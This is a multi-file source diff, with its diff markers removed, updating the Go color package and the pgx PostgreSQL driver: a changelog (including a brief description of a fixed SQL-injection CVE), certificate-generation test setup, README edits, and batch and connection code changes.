func (c *Color) Println(a ...interface{}) (n int, err error) {
c.Set()
defer c.unset()
return fmt.Fprintln(Output, a...)
return fmt.Fprintln(Output, c.wrap(fmt.Sprint(a...)))
}
// Sprint is just like Print, but returns a string instead of printing it.
@@ -271,7 +288,7 @@ func (c *Color) Sprint(a ...interface{}) string {
// Sprintln is just like Println, but returns a string instead of printing it.
func (c *Color) Sprintln(a ...interface{}) string {
return c.wrap(fmt.Sprintln(a...))
return fmt.Sprintln(c.Sprint(a...))
}
// Sprintf is just like Printf, but returns a string instead of printing it.
@@ -353,7 +370,7 @@ func (c *Color) SprintfFunc() func(format string, a ...interface{}) string {
// string. Windows users should use this in conjunction with color.Output.
func (c *Color) SprintlnFunc() func(a ...interface{}) string {
return func(a ...interface{}) string {
return c.wrap(fmt.Sprintln(a...))
return fmt.Sprintln(c.Sprint(a...))
}
}
@@ -383,7 +400,18 @@ func (c *Color) format() string {
}
func (c *Color) unformat() string {
return fmt.Sprintf("%s[%dm", escape, Reset)
//return fmt.Sprintf("%s[%dm", escape, Reset)
//for each element in sequence let's use the speficic reset escape, ou the generic one if not found
format := make([]string, len(c.params))
for i, v := range c.params {
format[i] = strconv.Itoa(int(Reset))
ra, ok := mapResetAttributes[v]
if ok {
format[i] = strconv.Itoa(int(ra))
}
}
return fmt.Sprintf("%s[%sm", escape, strings.Join(format, ";"))
}
// DisableColor disables the color output. Useful to not change any existing
@@ -411,6 +439,12 @@ func (c *Color) isNoColorSet() bool {
// Equals returns a boolean value indicating whether two colors are equal.
func (c *Color) Equals(c2 *Color) bool {
if c == nil && c2 == nil {
return true
}
if c == nil || c2 == nil {
return false
}
if len(c.params) != len(c2.params) {
return false
}
+112
View File
@@ -1,3 +1,115 @@
# 5.5.4 (March 4, 2024)
Fix CVE-2024-27304
SQL injection can occur if an attacker can cause a single query or bind message to exceed 4 GB in size. An integer
overflow in the calculated message size can cause the one large message to be sent as multiple messages under the
attacker's control.
Thanks to Paul Gerste for reporting this issue.
* Fix behavior of CollectRows to return empty slice if Rows are empty (Felix)
* Fix simple protocol encoding of json.RawMessage
* Fix *Pipeline.getResults should close pipeline on error
* Fix panic in TryFindUnderlyingTypeScanPlan (David Kurman)
* Fix deallocation of invalidated cached statements in a transaction
* Handle invalid sslkey file
* Fix scan float4 into sql.Scanner
* Fix pgtype.Bits not making copy of data from read buffer. This would cause the data to be corrupted by future reads.
# 5.5.3 (February 3, 2024)
* Fix: prepared statement already exists
* Improve CopyFrom auto-conversion of text-ish values
* Add ltree type support (Florent Viel)
* Make some properties of Batch and QueuedQuery public (Pavlo Golub)
* Add AppendRows function (Edoardo Spadolini)
* Optimize convert UUID [16]byte to string (Kirill Malikov)
* Fix: LargeObject Read and Write of more than ~1GB at a time (Mitar)
# 5.5.2 (January 13, 2024)
* Allow NamedArgs to start with underscore
* pgproto3: Maximum message body length support (jeremy.spriet)
* Upgrade golang.org/x/crypto to v0.17.0
* Add snake_case support to RowToStructByName (Tikhon Fedulov)
* Fix: update description cache after exec prepare (James Hartig)
* Fix: pipeline checks if it is closed (James Hartig and Ryan Fowler)
* Fix: normalize timeout / context errors during TLS startup (Samuel Stauffer)
* Add OnPgError for easier centralized error handling (James Hartig)
# 5.5.1 (December 9, 2023)
* Add CopyFromFunc helper function. (robford)
* Add PgConn.Deallocate method that uses PostgreSQL protocol Close message.
* pgx uses new PgConn.Deallocate method. This allows deallocating statements to work in a failed transaction. This fixes a case where the prepared statement map could become invalid.
* Fix: Prefer driver.Valuer over json.Marshaler for json fields. (Jacopo)
* Fix: simple protocol SQL sanitizer previously panicked if an invalid $0 placeholder was used. This now returns an error instead. (maksymnevajdev)
* Add pgtype.Numeric.ScanScientific (Eshton Robateau)
# 5.5.0 (November 4, 2023)
* Add CollectExactlyOneRow. (Julien GOTTELAND)
* Add OpenDBFromPool to create *database/sql.DB from *pgxpool.Pool. (Lev Zakharov)
* Prepare can automatically choose statement name based on sql. This makes it easier to explicitly manage prepared statements.
* Statement cache now uses deterministic, stable statement names.
* database/sql prepared statement names are deterministically generated.
* Fix: SendBatch wasn't respecting context cancellation.
* Fix: Timeout error from pipeline is now normalized.
* Fix: database/sql encoding json.RawMessage to []byte.
* CancelRequest: Wait for the cancel request to be acknowledged by the server. This should improve PgBouncer compatibility. (Anton Levakin)
* stdlib: Use Ping instead of CheckConn in ResetSession
* Add json.Marshaler and json.Unmarshaler for Float4, Float8 (Kirill Mironov)
# 5.4.3 (August 5, 2023)
* Fix: QCharArrayOID was defined with the wrong OID (Christoph Engelbert)
* Fix: connect_timeout for sslmode=allow|prefer (smaher-edb)
* Fix: pgxpool: background health check cannot overflow pool
* Fix: Check for nil in defer when sending batch (recover properly from panic)
* Fix: json scan of non-string pointer to pointer
* Fix: zeronull.Timestamptz should use pgtype.Timestamptz
* Fix: NewConnsCount was not correctly counting connections created by Acquire directly. (James Hartig)
* RowTo(AddrOf)StructByPos ignores fields with "-" db tag
* Optimization: improve text format numeric parsing (horpto)
# 5.4.2 (July 11, 2023)
* Fix: RowScanner errors are fatal to Rows
* Fix: Enable failover efforts when pg_hba.conf disallows non-ssl connections (Brandon Kauffman)
* Hstore text codec internal improvements (Evan Jones)
* Fix: Stop timers for background reader when not in use. Fixes memory leak when closing connections (Adrian-Stefan Mares)
* Fix: Stop background reader as soon as possible.
* Add PgConn.SyncConn(). This combined with the above fix makes it safe to directly use the underlying net.Conn.
# 5.4.1 (June 18, 2023)
* Fix: concurrency bug with pgtypeDefaultMap and simple protocol (Lev Zakharov)
* Add TxOptions.BeginQuery to allow overriding the default BEGIN query
# 5.4.0 (June 14, 2023)
* Replace platform specific syscalls for non-blocking IO with more traditional goroutines and deadlines. This returns to the v4 approach with some additional improvements and fixes. This restores the ability to use a pgx.Conn over an ssh.Conn as well as other non-TCP or Unix socket connections. In addition, it is a significantly simpler implementation that is less likely to have cross platform issues.
* Optimization: The default type registrations are now shared among all connections. This saves about 100KB of memory per connection. `pgtype.Type` and `pgtype.Codec` values are now required to be immutable after registration. This was already necessary in most cases but wasn't documented until now. (Lev Zakharov)
* Fix: Ensure pgxpool.Pool.QueryRow.Scan releases connection on panic
* CancelRequest: don't try to read the reply (Nicola Murino)
* Fix: correctly handle bool type aliases (Wichert Akkerman)
* Fix: pgconn.CancelRequest: Fix unix sockets: don't use RemoteAddr()
* Fix: pgx.Conn memory leak with prepared statement caching (Evan Jones)
* Add BeforeClose to pgxpool.Pool (Evan Cordell)
* Fix: various hstore fixes and optimizations (Evan Jones)
* Fix: RowToStructByPos with embedded unexported struct
* Support different bool string representations (Lev Zakharov)
* Fix: error when using BatchResults.Exec on a select that returns an error after some rows.
* Fix: pipelineBatchResults.Exec() not returning error from ResultReader
* Fix: pipeline batch results not closing pipeline when error occurs while reading directly from results instead of using
a callback.
* Fix: scanning a table type into a struct
* Fix: scan array of record to pointer to slice of struct
* Fix: handle null for json (Cemre Mengu)
* Batch Query callback is called even when there is an error
* Add RowTo(AddrOf)StructByNameLax (Audi P. Risa P)
# 5.3.1 (February 27, 2023)
* Fix: Support v4 and v5 stdlib in same program (Tomáš Procházka)
+2 -16
View File
@@ -79,20 +79,11 @@ echo "listen_addresses = '127.0.0.1'" >> .testdb/$POSTGRESQL_DATA_DIR/postgresql
echo "port = $PGPORT" >> .testdb/$POSTGRESQL_DATA_DIR/postgresql.conf
cat testsetup/postgresql_ssl.conf >> .testdb/$POSTGRESQL_DATA_DIR/postgresql.conf
cp testsetup/pg_hba.conf .testdb/$POSTGRESQL_DATA_DIR/pg_hba.conf
cp testsetup/ca.cnf .testdb
cp testsetup/localhost.cnf .testdb
cp testsetup/pgx_sslcert.cnf .testdb
cd .testdb
# Generate a CA public / private key pair.
openssl genrsa -out ca.key 4096
openssl req -x509 -config ca.cnf -new -nodes -key ca.key -sha256 -days 365 -subj '/O=pgx-test-root' -out ca.pem
# Generate the certificate for localhost (the server).
openssl genrsa -out localhost.key 2048
openssl req -new -config localhost.cnf -key localhost.key -out localhost.csr
openssl x509 -req -in localhost.csr -CA ca.pem -CAkey ca.key -CAcreateserial -out localhost.crt -days 364 -sha256 -extfile localhost.cnf -extensions v3_req
# Generate CA, server, and encrypted client certificates.
go run ../testsetup/generate_certs.go
# Copy certificates to server directory and set permissions.
cp ca.pem $POSTGRESQL_DATA_DIR/root.crt
@@ -100,11 +91,6 @@ cp localhost.key $POSTGRESQL_DATA_DIR/server.key
chmod 600 $POSTGRESQL_DATA_DIR/server.key
cp localhost.crt $POSTGRESQL_DATA_DIR/server.crt
# Generate the certificate for client authentication.
openssl genrsa -des3 -out pgx_sslcert.key -passout pass:certpw 2048
openssl req -new -config pgx_sslcert.cnf -key pgx_sslcert.key -passin pass:certpw -out pgx_sslcert.csr
openssl x509 -req -in pgx_sslcert.csr -CA ca.pem -CAkey ca.key -CAcreateserial -out pgx_sslcert.crt -days 363 -sha256 -extfile pgx_sslcert.cnf -extensions v3_req
cd ..
```
+19 -2
View File
@@ -1,5 +1,5 @@
[![Go Reference](https://pkg.go.dev/badge/github.com/jackc/pgx/v5.svg)](https://pkg.go.dev/github.com/jackc/pgx/v5)
![Build Status](https://github.com/jackc/pgx/actions/workflows/ci.yml/badge.svg)
[![Build Status](https://github.com/jackc/pgx/actions/workflows/ci.yml/badge.svg)](https://github.com/jackc/pgx/actions/workflows/ci.yml)
# pgx - PostgreSQL Driver and Toolkit
@@ -86,9 +86,13 @@ It is also possible to use the `database/sql` interface and convert a connection
See CONTRIBUTING.md for setup instructions.
## Architecture
See the presentation at Golang Estonia, [PGX Top to Bottom](https://www.youtube.com/watch?v=sXMSWhcHCf8) for a description of pgx architecture.
## Supported Go and PostgreSQL Versions
pgx supports the same versions of Go and PostgreSQL that are supported by their respective teams. For [Go](https://golang.org/doc/devel/release.html#policy) that is the two most recent major releases and for [PostgreSQL](https://www.postgresql.org/support/versioning/) the major releases in the last 5 years. This means pgx supports Go 1.19 and higher and PostgreSQL 11 and higher. pgx also is tested against the latest version of [CockroachDB](https://www.cockroachlabs.com/product/).
pgx supports the same versions of Go and PostgreSQL that are supported by their respective teams. For [Go](https://golang.org/doc/devel/release.html#policy) that is the two most recent major releases and for [PostgreSQL](https://www.postgresql.org/support/versioning/) the major releases in the last 5 years. This means pgx supports Go 1.20 and higher and PostgreSQL 12 and higher. pgx also is tested against the latest version of [CockroachDB](https://www.cockroachlabs.com/product/).
## Version Policy
@@ -116,6 +120,7 @@ pgerrcode contains constants for the PostgreSQL error codes.
* [github.com/jackc/pgx-gofrs-uuid](https://github.com/jackc/pgx-gofrs-uuid)
* [github.com/jackc/pgx-shopspring-decimal](https://github.com/jackc/pgx-shopspring-decimal)
* [github.com/twpayne/pgx-geos](https://github.com/twpayne/pgx-geos) ([PostGIS](https://postgis.net/) and [GEOS](https://libgeos.org/) via [go-geos](https://github.com/twpayne/go-geos))
* [github.com/vgarvardt/pgx-google-uuid](https://github.com/vgarvardt/pgx-google-uuid)
@@ -132,13 +137,25 @@ These adapters can be used with the tracelog package.
* [github.com/jackc/pgx-logrus](https://github.com/jackc/pgx-logrus)
* [github.com/jackc/pgx-zap](https://github.com/jackc/pgx-zap)
* [github.com/jackc/pgx-zerolog](https://github.com/jackc/pgx-zerolog)
* [github.com/mcosta74/pgx-slog](https://github.com/mcosta74/pgx-slog)
* [github.com/kataras/pgx-golog](https://github.com/kataras/pgx-golog)
## 3rd Party Libraries with PGX Support
### [github.com/pashagolub/pgxmock](https://github.com/pashagolub/pgxmock)
pgxmock is a mock library implementing pgx interfaces.
pgxmock has one and only purpose - to simulate pgx behavior in tests, without needing a real database connection.
### [github.com/georgysavva/scany](https://github.com/georgysavva/scany)
Library for scanning data from a database into Go structs and more.
### [github.com/vingarcia/ksql](https://github.com/vingarcia/ksql)
A carefully designed SQL client for making using SQL easier,
more productive, and less error-prone on Golang.
### [https://github.com/otan/gopgkrb5](https://github.com/otan/gopgkrb5)
Adds GSSAPI / Kerberos authentication support.
+35 -37
View File
@@ -10,8 +10,8 @@ import (
// QueuedQuery is a query that has been queued for execution via a Batch.
type QueuedQuery struct {
query string
arguments []any
SQL string
Arguments []any
fn batchItemFunc
sd *pgconn.StatementDescription
}
@@ -21,13 +21,10 @@ type batchItemFunc func(br BatchResults) error
// Query sets fn to be called when the response to qq is received.
func (qq *QueuedQuery) Query(fn func(rows Rows) error) {
qq.fn = func(br BatchResults) error {
rows, err := br.Query()
if err != nil {
return err
}
rows, _ := br.Query()
defer rows.Close()
err = fn(rows)
err := fn(rows)
if err != nil {
return err
}
@@ -60,22 +57,24 @@ func (qq *QueuedQuery) Exec(fn func(ct pgconn.CommandTag) error) {
// Batch queries are a way of bundling multiple queries together to avoid
// unnecessary network round trips. A Batch must only be sent once.
type Batch struct {
queuedQueries []*QueuedQuery
QueuedQueries []*QueuedQuery
}
// Queue queues a query to batch b. query can be an SQL query or the name of a prepared statement.
// The only pgx option argument that is supported is QueryRewriter. Queries are executed using the
// connection's DefaultQueryExecMode.
func (b *Batch) Queue(query string, arguments ...any) *QueuedQuery {
qq := &QueuedQuery{
query: query,
arguments: arguments,
SQL: query,
Arguments: arguments,
}
b.queuedQueries = append(b.queuedQueries, qq)
b.QueuedQueries = append(b.QueuedQueries, qq)
return qq
}
// Len returns number of queries that have been queued so far.
func (b *Batch) Len() int {
return len(b.queuedQueries)
return len(b.QueuedQueries)
}
type BatchResults interface {
@@ -142,7 +141,10 @@ func (br *batchResults) Exec() (pgconn.CommandTag, error) {
}
commandTag, err := br.mrr.ResultReader().Close()
br.err = err
if err != nil {
br.err = err
br.mrr.Close()
}
if br.conn.batchTracer != nil {
br.conn.batchTracer.TraceBatchQuery(br.ctx, br.conn, TraceBatchQueryData{
@@ -225,10 +227,10 @@ func (br *batchResults) Close() error {
}
// Read and run fn for all remaining items
for br.err == nil && !br.closed && br.b != nil && br.qqIdx < len(br.b.queuedQueries) {
if br.b.queuedQueries[br.qqIdx].fn != nil {
err := br.b.queuedQueries[br.qqIdx].fn(br)
if err != nil && br.err == nil {
for br.err == nil && !br.closed && br.b != nil && br.qqIdx < len(br.b.QueuedQueries) {
if br.b.QueuedQueries[br.qqIdx].fn != nil {
err := br.b.QueuedQueries[br.qqIdx].fn(br)
if err != nil {
br.err = err
}
} else {
@@ -251,10 +253,10 @@ func (br *batchResults) earlyError() error {
}
func (br *batchResults) nextQueryAndArgs() (query string, args []any, ok bool) {
if br.b != nil && br.qqIdx < len(br.b.queuedQueries) {
bi := br.b.queuedQueries[br.qqIdx]
query = bi.query
args = bi.arguments
if br.b != nil && br.qqIdx < len(br.b.QueuedQueries) {
bi := br.b.QueuedQueries[br.qqIdx]
query = bi.SQL
args = bi.Arguments
ok = true
br.qqIdx++
}
@@ -290,7 +292,7 @@ func (br *pipelineBatchResults) Exec() (pgconn.CommandTag, error) {
results, err := br.pipeline.GetResults()
if err != nil {
br.err = err
return pgconn.CommandTag{}, err
return pgconn.CommandTag{}, br.err
}
var commandTag pgconn.CommandTag
switch results := results.(type) {
@@ -309,7 +311,7 @@ func (br *pipelineBatchResults) Exec() (pgconn.CommandTag, error) {
})
}
return commandTag, err
return commandTag, br.err
}
// Query reads the results from the next query in the batch as if the query has been sent with Query.
@@ -384,24 +386,20 @@ func (br *pipelineBatchResults) Close() error {
}
}()
if br.err != nil {
return br.err
}
if br.lastRows != nil && br.lastRows.err != nil {
if br.err == nil && br.lastRows != nil && br.lastRows.err != nil {
br.err = br.lastRows.err
return br.err
}
if br.closed {
return nil
return br.err
}
// Read and run fn for all remaining items
for br.err == nil && !br.closed && br.b != nil && br.qqIdx < len(br.b.queuedQueries) {
if br.b.queuedQueries[br.qqIdx].fn != nil {
err := br.b.queuedQueries[br.qqIdx].fn(br)
if err != nil && br.err == nil {
for br.err == nil && !br.closed && br.b != nil && br.qqIdx < len(br.b.QueuedQueries) {
if br.b.QueuedQueries[br.qqIdx].fn != nil {
err := br.b.QueuedQueries[br.qqIdx].fn(br)
if err != nil {
br.err = err
}
} else {
@@ -424,10 +422,10 @@ func (br *pipelineBatchResults) earlyError() error {
}
func (br *pipelineBatchResults) nextQueryAndArgs() (query string, args []any, ok bool) {
if br.b != nil && br.qqIdx < len(br.b.queuedQueries) {
bi := br.b.queuedQueries[br.qqIdx]
query = bi.query
args = bi.arguments
if br.b != nil && br.qqIdx < len(br.b.QueuedQueries) {
bi := br.b.QueuedQueries[br.qqIdx]
query = bi.SQL
args = bi.Arguments
ok = true
br.qqIdx++
}
+140 -83
View File
@@ -2,6 +2,8 @@ package pgx
import (
"context"
"crypto/sha256"
"encoding/hex"
"errors"
"fmt"
"strconv"
@@ -35,7 +37,7 @@ type ConnConfig struct {
// DefaultQueryExecMode controls the default mode for executing queries. By default pgx uses the extended protocol
// and automatically prepares and caches prepared statements. However, this may be incompatible with proxies such as
// PGBouncer. In this case it may be preferrable to use QueryExecModeExec or QueryExecModeSimpleProtocol. The same
// PGBouncer. In this case it may be preferable to use QueryExecModeExec or QueryExecModeSimpleProtocol. The same
// functionality can be controlled on a per query basis by passing a QueryExecMode as the first query argument.
DefaultQueryExecMode QueryExecMode
@@ -99,8 +101,12 @@ func (ident Identifier) Sanitize() string {
return strings.Join(parts, ".")
}
// ErrNoRows occurs when rows are expected but none are returned.
var ErrNoRows = errors.New("no rows in result set")
var (
// ErrNoRows occurs when rows are expected but none are returned.
ErrNoRows = errors.New("no rows in result set")
// ErrTooManyRows occurs when more rows than expected are returned.
ErrTooManyRows = errors.New("too many rows in result set")
)
var errDisabledStatementCache = fmt.Errorf("cannot use QueryExecModeCacheStatement with disabled statement cache")
var errDisabledDescriptionCache = fmt.Errorf("cannot use QueryExecModeCacheDescribe with disabled description cache")
@@ -178,7 +184,7 @@ func ParseConfigWithOptions(connString string, options ParseConfigOptions) (*Con
case "simple_protocol":
defaultQueryExecMode = QueryExecModeSimpleProtocol
default:
return nil, fmt.Errorf("invalid default_query_exec_mode: %v", err)
return nil, fmt.Errorf("invalid default_query_exec_mode: %s", s)
}
}
@@ -194,7 +200,7 @@ func ParseConfigWithOptions(connString string, options ParseConfigOptions) (*Con
return connConfig, nil
}
// ParseConfig creates a ConnConfig from a connection string. ParseConfig handles all options that pgconn.ParseConfig
// ParseConfig creates a ConnConfig from a connection string. ParseConfig handles all options that [pgconn.ParseConfig]
// does. In addition, it accepts the following options:
//
// - default_query_exec_mode.
@@ -269,7 +275,7 @@ func connect(ctx context.Context, config *ConnConfig) (c *Conn, err error) {
return c, nil
}
// Close closes a connection. It is safe to call Close on a already closed
// Close closes a connection. It is safe to call Close on an already closed
// connection.
func (c *Conn) Close(ctx context.Context) error {
if c.IsClosed() {
@@ -280,12 +286,15 @@ func (c *Conn) Close(ctx context.Context) error {
return err
}
// Prepare creates a prepared statement with name and sql. sql can contain placeholders
// for bound parameters. These placeholders are referenced positional as $1, $2, etc.
// Prepare creates a prepared statement with name and sql. sql can contain placeholders for bound parameters. These
// placeholders are referenced positionally as $1, $2, etc. name can be used instead of sql with Query, QueryRow, and
// Exec to execute the statement. It can also be used with Batch.Queue.
//
// Prepare is idempotent; i.e. it is safe to call Prepare multiple times with the same
// name and sql arguments. This allows a code path to Prepare and Query/Exec without
// concern for if the statement has already been prepared.
// The underlying PostgreSQL identifier for the prepared statement will be name if name != sql or a digest of sql if
// name == sql.
//
// Prepare is idempotent; i.e. it is safe to call Prepare multiple times with the same name and sql arguments. This
// allows a code path to Prepare and Query/Exec without concern for if the statement has already been prepared.
func (c *Conn) Prepare(ctx context.Context, name, sql string) (sd *pgconn.StatementDescription, err error) {
if c.prepareTracer != nil {
ctx = c.prepareTracer.TracePrepareStart(ctx, c, TracePrepareStartData{Name: name, SQL: sql})
@@ -307,23 +316,48 @@ func (c *Conn) Prepare(ctx context.Context, name, sql string) (sd *pgconn.Statem
}()
}
sd, err = c.pgConn.Prepare(ctx, name, sql, nil)
var psName, psKey string
if name == sql {
digest := sha256.Sum256([]byte(sql))
psName = "stmt_" + hex.EncodeToString(digest[0:24])
psKey = sql
} else {
psName = name
psKey = name
}
sd, err = c.pgConn.Prepare(ctx, psName, sql, nil)
if err != nil {
return nil, err
}
if name != "" {
c.preparedStatements[name] = sd
if psKey != "" {
c.preparedStatements[psKey] = sd
}
return sd, nil
}
// Deallocate released a prepared statement
// Deallocate releases a prepared statement. Calling Deallocate on a non-existent prepared statement will succeed.
func (c *Conn) Deallocate(ctx context.Context, name string) error {
delete(c.preparedStatements, name)
_, err := c.pgConn.Exec(ctx, "deallocate "+quoteIdentifier(name)).ReadAll()
return err
var psName string
sd := c.preparedStatements[name]
if sd != nil {
psName = sd.Name
} else {
psName = name
}
err := c.pgConn.Deallocate(ctx, psName)
if err != nil {
return err
}
if sd != nil {
delete(c.preparedStatements, name)
}
return nil
}
// DeallocateAll releases all previously prepared statements from the server and client, where it also resets the statement and description cache.
@@ -382,11 +416,9 @@ func quoteIdentifier(s string) string {
return `"` + strings.ReplaceAll(s, `"`, `""`) + `"`
}
// Ping executes an empty sql statement against the *Conn
// If the sql returns without error, the database Ping is considered successful, otherwise, the error is returned.
// Ping delegates to the underlying *pgconn.PgConn.Ping.
func (c *Conn) Ping(ctx context.Context) error {
_, err := c.Exec(ctx, ";")
return err
return c.pgConn.Ping(ctx)
}
// PgConn returns the underlying *pgconn.PgConn. This is an escape hatch method that allows lower level access to the
@@ -443,7 +475,7 @@ optionLoop:
if queryRewriter != nil {
sql, arguments, err = queryRewriter.RewriteQuery(ctx, c, sql, arguments)
if err != nil {
return pgconn.CommandTag{}, fmt.Errorf("rewrite query failed: %v", err)
return pgconn.CommandTag{}, fmt.Errorf("rewrite query failed: %w", err)
}
}
@@ -463,7 +495,7 @@ optionLoop:
}
sd := c.statementCache.Get(sql)
if sd == nil {
sd, err = c.Prepare(ctx, stmtcache.NextStatementName(), sql)
sd, err = c.Prepare(ctx, stmtcache.StatementName(sql), sql)
if err != nil {
return pgconn.CommandTag{}, err
}
@@ -481,6 +513,7 @@ optionLoop:
if err != nil {
return pgconn.CommandTag{}, err
}
c.descriptionCache.Put(sd)
}
return c.execParams(ctx, sd, arguments)
@@ -509,7 +542,7 @@ func (c *Conn) execSimpleProtocol(ctx context.Context, sql string, arguments []a
mrr := c.pgConn.Exec(ctx, sql)
for mrr.NextResult() {
commandTag, err = mrr.ResultReader().Close()
commandTag, _ = mrr.ResultReader().Close()
}
err = mrr.Close()
return commandTag, err
@@ -575,30 +608,35 @@ type QueryExecMode int32
const (
_ QueryExecMode = iota
// Automatically prepare and cache statements. This uses the extended protocol. Queries are executed in a single
// round trip after the statement is cached. This is the default.
// Automatically prepare and cache statements. This uses the extended protocol. Queries are executed in a single round
// trip after the statement is cached. This is the default. If the database schema is modified or the search_path is
// changed after a statement is cached then the first execution of a previously cached query may fail. e.g. If the
// number of columns returned by a "SELECT *" changes or the type of a column is changed.
QueryExecModeCacheStatement
// Cache statement descriptions (i.e. argument and result types) and assume they do not change. This uses the
// extended protocol. Queries are executed in a single round trip after the description is cached. If the database
// schema is modified or the search_path is changed this may result in undetected result decoding errors.
// Cache statement descriptions (i.e. argument and result types) and assume they do not change. This uses the extended
// protocol. Queries are executed in a single round trip after the description is cached. If the database schema is
// modified or the search_path is changed after a statement is cached then the first execution of a previously cached
// query may fail. e.g. If the number of columns returned by a "SELECT *" changes or the type of a column is changed.
QueryExecModeCacheDescribe
// Get the statement description on every execution. This uses the extended protocol. Queries require two round trips
// to execute. It does not use prepared statements (allowing usage with most connection poolers) and is safe even
// when the the database schema is modified concurrently.
// to execute. It does not use named prepared statements. But it does use the unnamed prepared statement to get the
// statement description on the first round trip and then uses it to execute the query on the second round trip. This
// may cause problems with connection poolers that switch the underlying connection between round trips. It is safe
// even when the the database schema is modified concurrently.
QueryExecModeDescribeExec
// Assume the PostgreSQL query parameter types based on the Go type of the arguments. This uses the extended protocol
// with text formatted parameters and results. Queries are executed in a single round trip. Type mappings can be
// registered with pgtype.Map.RegisterDefaultPgType. Queries will be rejected that have arguments that are
// unregistered or ambigious. e.g. A map[string]string may have the PostgreSQL type json or hstore. Modes that know
// unregistered or ambiguous. e.g. A map[string]string may have the PostgreSQL type json or hstore. Modes that know
// the PostgreSQL type can use a map[string]string directly as an argument. This mode cannot.
QueryExecModeExec
// Use the simple protocol. Assume the PostgreSQL query parameter types based on the Go type of the arguments.
// Queries are executed in a single round trip. Type mappings can be registered with
// pgtype.Map.RegisterDefaultPgType. Queries will be rejected that have arguments that are unregistered or ambigious.
// pgtype.Map.RegisterDefaultPgType. Queries will be rejected that have arguments that are unregistered or ambiguous.
// e.g. A map[string]string may have the PostgreSQL type json or hstore. Modes that know the PostgreSQL type can use
// a map[string]string directly as an argument. This mode cannot.
//
@@ -648,6 +686,9 @@ type QueryRewriter interface {
// returned Rows even if an error is returned. The error will be the available in rows.Err() after rows are closed. It
// is allowed to ignore the error returned from Query and handle it in Rows.
//
// It is possible for a call of FieldDescriptions on the returned Rows to return nil even if the Query call did not
// return an error.
//
// It is possible for a query to return one or more rows before encountering an error. In most cases the rows should be
// collected before processing rather than processed while receiving each row. This avoids the possibility of the
// application processing rows from a query that the server rejected. The CollectRows function is useful here.
@@ -702,7 +743,7 @@ optionLoop:
sql, args, err = queryRewriter.RewriteQuery(ctx, c, sql, args)
if err != nil {
rows := c.getRows(ctx, originalSQL, originalArgs)
err = fmt.Errorf("rewrite query failed: %v", err)
err = fmt.Errorf("rewrite query failed: %w", err)
rows.fatal(err)
return rows, err
}
@@ -812,7 +853,7 @@ func (c *Conn) getStatementDescription(
}
sd = c.statementCache.Get(sql)
if sd == nil {
sd, err = c.Prepare(ctx, stmtcache.NextStatementName(), sql)
sd, err = c.Prepare(ctx, stmtcache.StatementName(sql), sql)
if err != nil {
return nil, err
}
@@ -862,15 +903,14 @@ func (c *Conn) SendBatch(ctx context.Context, b *Batch) (br BatchResults) {
return &batchResults{ctx: ctx, conn: c, err: err}
}
mode := c.config.DefaultQueryExecMode
for _, bi := range b.queuedQueries {
for _, bi := range b.QueuedQueries {
var queryRewriter QueryRewriter
sql := bi.query
arguments := bi.arguments
sql := bi.SQL
arguments := bi.Arguments
optionLoop:
for len(arguments) > 0 {
// Update Batch.Queue function comment when additional options are implemented
switch arg := arguments[0].(type) {
case QueryRewriter:
queryRewriter = arg
@@ -884,21 +924,23 @@ func (c *Conn) SendBatch(ctx context.Context, b *Batch) (br BatchResults) {
var err error
sql, arguments, err = queryRewriter.RewriteQuery(ctx, c, sql, arguments)
if err != nil {
return &batchResults{ctx: ctx, conn: c, err: fmt.Errorf("rewrite query failed: %v", err)}
return &batchResults{ctx: ctx, conn: c, err: fmt.Errorf("rewrite query failed: %w", err)}
}
}
bi.query = sql
bi.arguments = arguments
bi.SQL = sql
bi.Arguments = arguments
}
// TODO: changing mode per batch? Update Batch.Queue function comment when implemented
mode := c.config.DefaultQueryExecMode
if mode == QueryExecModeSimpleProtocol {
return c.sendBatchQueryExecModeSimpleProtocol(ctx, b)
}
// All other modes use extended protocol and thus can use prepared statements.
for _, bi := range b.queuedQueries {
if sd, ok := c.preparedStatements[bi.query]; ok {
for _, bi := range b.QueuedQueries {
if sd, ok := c.preparedStatements[bi.SQL]; ok {
bi.sd = sd
}
}
@@ -919,11 +961,11 @@ func (c *Conn) SendBatch(ctx context.Context, b *Batch) (br BatchResults) {
func (c *Conn) sendBatchQueryExecModeSimpleProtocol(ctx context.Context, b *Batch) *batchResults {
var sb strings.Builder
for i, bi := range b.queuedQueries {
for i, bi := range b.QueuedQueries {
if i > 0 {
sb.WriteByte(';')
}
sql, err := c.sanitizeForSimpleQuery(bi.query, bi.arguments...)
sql, err := c.sanitizeForSimpleQuery(bi.SQL, bi.Arguments...)
if err != nil {
return &batchResults{ctx: ctx, conn: c, err: err}
}
@@ -942,21 +984,21 @@ func (c *Conn) sendBatchQueryExecModeSimpleProtocol(ctx context.Context, b *Batc
func (c *Conn) sendBatchQueryExecModeExec(ctx context.Context, b *Batch) *batchResults {
batch := &pgconn.Batch{}
for _, bi := range b.queuedQueries {
for _, bi := range b.QueuedQueries {
sd := bi.sd
if sd != nil {
err := c.eqb.Build(c.typeMap, sd, bi.arguments)
err := c.eqb.Build(c.typeMap, sd, bi.Arguments)
if err != nil {
return &batchResults{ctx: ctx, conn: c, err: err}
}
batch.ExecPrepared(sd.Name, c.eqb.ParamValues, c.eqb.ParamFormats, c.eqb.ResultFormats)
} else {
err := c.eqb.Build(c.typeMap, nil, bi.arguments)
err := c.eqb.Build(c.typeMap, nil, bi.Arguments)
if err != nil {
return &batchResults{ctx: ctx, conn: c, err: err}
}
batch.ExecParams(bi.query, c.eqb.ParamValues, nil, c.eqb.ParamFormats, c.eqb.ResultFormats)
batch.ExecParams(bi.SQL, c.eqb.ParamValues, nil, c.eqb.ParamFormats, c.eqb.ResultFormats)
}
}
@@ -975,24 +1017,24 @@ func (c *Conn) sendBatchQueryExecModeExec(ctx context.Context, b *Batch) *batchR
func (c *Conn) sendBatchQueryExecModeCacheStatement(ctx context.Context, b *Batch) (pbr *pipelineBatchResults) {
if c.statementCache == nil {
return &pipelineBatchResults{ctx: ctx, conn: c, err: errDisabledStatementCache}
return &pipelineBatchResults{ctx: ctx, conn: c, err: errDisabledStatementCache, closed: true}
}
distinctNewQueries := []*pgconn.StatementDescription{}
distinctNewQueriesIdxMap := make(map[string]int)
for _, bi := range b.queuedQueries {
for _, bi := range b.QueuedQueries {
if bi.sd == nil {
sd := c.statementCache.Get(bi.query)
sd := c.statementCache.Get(bi.SQL)
if sd != nil {
bi.sd = sd
} else {
if idx, present := distinctNewQueriesIdxMap[bi.query]; present {
if idx, present := distinctNewQueriesIdxMap[bi.SQL]; present {
bi.sd = distinctNewQueries[idx]
} else {
sd = &pgconn.StatementDescription{
